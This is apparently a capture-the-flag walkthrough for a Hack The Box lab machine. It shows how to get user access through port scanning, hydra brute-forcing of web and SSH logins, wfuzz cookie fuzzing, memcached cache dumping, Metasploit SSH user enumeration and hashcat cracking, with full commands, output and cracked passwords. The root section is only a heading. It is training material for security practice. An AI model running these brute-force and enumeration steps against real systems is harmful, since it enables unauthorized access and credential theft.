Information Gathering
. Getting User
. Getting Root






Information Gathering

As usually, we start with nmap to see which ports are open on the server.

$ mkdir nmap

$ nmap -sV -oA nmap/initial 10.10.10.86

...

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

22/tcp open tcpwrapped

80/tcp open http nginx 1.10.3 (Ubuntu)

8080/tcp open http nginx 1.10.3 (Ubuntu)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

...

If script enumeration was activated with the -sC option, we would notice that the FTP anonymous
login was enabled. The FTP server contains an image which includes steganography (a text file
hidden with a blank password, which outputs “Nope...”, in other words, a troll).

Next, let’s check the web server running in port 80:



The root page redirects us to /login which requires credentials. If the wrong credentials are
entered, the server will respond with an Error: Login failed message. Therefore, we will try
brute forcing with hydra with the username of admin, since it is the most common one.


$ hydra -s 80 -l 'admin' -P
/usr/share/wordlists/SecLists/Passwords/darkweb2017-top10000.txt 10.10.10.86
http-post-form "/login:username=^USER^&password=^PASS^:F=Error: Login failed"

I usually use the SecLists password wordlists first when brute forcing services remotely before
firing up the huge rockyou wordlist file. Eventually, we should have a password which turns out
to be Password1. After logging in, we are presented with some stock items from a MySQL database
(as denoted in the HTML source code). We notice a cookie will be set for both websites running
in port 80 and 8080:

Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DmQDCQ.s5VT7anp8pazB-MBLM5bGS4NNL8

I found nothing more of interest in the website of port 80, so I switched to 8080. This is the HTTP
request header by default (after retrieving the session cookie):

GET / HTTP/1.1

Host: 10.10.10.86:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DmQDCQ.s5VT7anp8pazB-MBLM5bGS4NNL8

Connection: close

Upgrade-Insecure-Requests: 1

Which gives us the following message:

Access denied: password authentication cookie not set

Using Burp, I manually added another cookie with a random value to see if the response changes:

Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DmQDCQ.s5VT7anp8pazB-MBLM5bGS4NNL8;
password=test

And now we get a different message:

Access denied: password authentication cookie incorrect

It seems that we passed the first step, but now we need to find the right value for the password
cookie. I will use wfuzz for that and filter out reponses which have a character length of 324, which
was the reponse length of an incorrect cookie.

$ wfuzz -z file,/usr/share/wordlists/SecLists/Passwords/darkweb2017-
top10000.txt -b password=FUZZ --hh 324 http://10.10.10.86:8080/

...


000211: C=200 21 L 48 W 540 Ch "secret"


...





We got a different response length with password=secret cookie, and if we modify the request in
Burp to this value and forward that packet, we get the following:



The fact that a cache engine is being mentioned is a huge hint. A quick google will eventually
lead us to the memcached software which is a key-based cache that stores data and objects
wherever spare RAM is available for quick access by applications, without going through layers
of parsing or disk I/O. According to MySQL and memcached guide, by default, memcached uses
the following settings:

• Memory allocation of 64MB
• Listens for connections on all network interfaces, using port 11211
• Supports a maximum of 1024 simultaneous connections


We already have a potential TCP port number input that we can use to retrieve results. We can
confirm this, because if we try port numbers other than 11211, we will get an internal server error.

Next, we need to know what line to send. For that, we will refer to the github wiki of memcached
commands and the guide I mentioned above, specifically article 5.2 to get the slabs statistic. Based
on the document, the stats slabs command retrieves slabs which have been allocated for storing
information within the cache. If we run the command in the web interface, we get this output:

STAT 16:chunk_size 2904

STAT 16:chunks_per_page 361

STAT 16:total_pages 1

STAT 16:total_chunks 361

STAT 16:used_chunks 0

STAT 16:free_chunks 361

STAT 16:free_chunks_end 0

STAT 16:mem_requested 0

STAT 16:get_hits 32

STAT 16:cmd_set 25

STAT 16:delete_hits 0

STAT 16:incr_hits 0


STAT 16:decr_hits 0

STAT 16:cas_hits 0

STAT 16:cas_badval 0

STAT 16:touch_hits 0

STAT 26:chunk_size 27120

STAT 26:chunks_per_page 38

STAT 26:total_pages 1

STAT 26:total_chunks 38

STAT 26:used_chunks 1

STAT 26:free_chunks 37

STAT 26:free_chunks_end 0

STAT 26:mem_requested 24699

STAT 26:get_hits 45258

STAT 26:cmd_set 262

STAT 26:delete_hits 0

STAT 26:incr_hits 0

STAT 26:decr_hits 0

STAT 26:cas_hits 0

STAT 26:cas_badval 0

STAT 26:touch_hits 0

STAT active_slabs 2

STAT total_malloced 2078904

END

Each slab (in this case two active slabs) are assigned an unique ID (16 and 26). As seen in the
output, quite a lot of space (27120) is allocated to the second chunk (with an ID of 26). Let’s try
and dump the keys for this slab class using the stats cachedump 26 0 command, where 26 is the
ID of the slab and 0 indicates no result limit. The output:

ITEM users [24625 b; 1535279887 s]

END

We get a key item called users, which we can retrieve its data with the get users command:






Getting User

We will save the JSON output to a file called get-users.txt and then use the json.tool python
module to format the text:

$ cat get-users.txt | python -m json.tool > beautify.txt



We will now extract the usernames and MD5 hashes from beautify.txt:

$ cat beautify.txt | cut -d ":" -f 1 | cut -d '"' -f 2 > users.txt

$ cat beautify.txt | cut -d ":" -f 2 | cut -d '"' -f 2 > hashes.txt

Open an editor and delete the first and the last line for both of these files (the JSON brackets).

To make things easier and quicker, we will use the Metasploit framework to enumerate SSH users
with our users.txt list using the auxiliary/scanner/ssh/ssh_enumusers module:

$ msfconsole -q

msf > use auxiliary/scanner/ssh/ssh_enumusers

msf auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 10.10.10.86

msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE files/users.txt

msf auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 10

msf auxiliary(scanner/ssh/ssh_enumusers) > run

[*] 10.10.10.86:22 - SSH - Using malformed packet technique

[*] 10.10.10.86:22 - SSH - Starting scan

...

[+] 10.10.10.86:22 - SSH - User 'genevieve' found

...








Let’s also try to crack some of the MD5 hashes from our hashes.txt file using hashcat:

$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt –
force

...

2ac9cb7dc02b3c0083eb70898e549b63:Password1

9731e89f01c1fb943cf0baa6772d2875:piggy

6f9ff93a26a118b460c878dc30e17130:monkeyman

eb95fc1ab8251cf1f8f870e7e4dae54d:megadeth

1e0ad2ec7e8c3cc595a9ec2e3762b117:blaster

5177790ad6df0ea98db41b37b602367c:strength

0ef9c986fad340989647f0001e3555d4:misfits

0daa6275280be3cf03f9f9c62f9d26d1:lovesucks1

fc7992e8952a8ff5000cb7856d8586d2:Princess1

c21f969b5f03d33d43e04f8f136e7682:default

254e5f2c3beb1a3d03f17253c15c07f3:hacktheplanet

fe01ce2a7fbac8fafaed7c982a04e229:demo

...

$ cat cracked.txt | cut -d ":" -f 2 > passwords.txt

The process will finish quickly as these 12 hashes are well-known and other hashes will be ignored.
Otherwise, you would have to specify the -a 3 option of hashcat to try and crack every hash.

Now that we have a valid user (genevieve) and an extracted password list, let’s brute force the
SSH service using hydra and then login to grab the user flag after successfully retrieving the
password:

$ hydra -l 'genevieve' -P passwords.txt 10.10.10.86 ssh

...

[22][ssh] host: 10.10.10.86 login: genevieve password: Princess1

...

$ sudo apt install sshpass

$ sshpass -p 'Princess1' ssh genevieve@10.10.10.86

Getting Root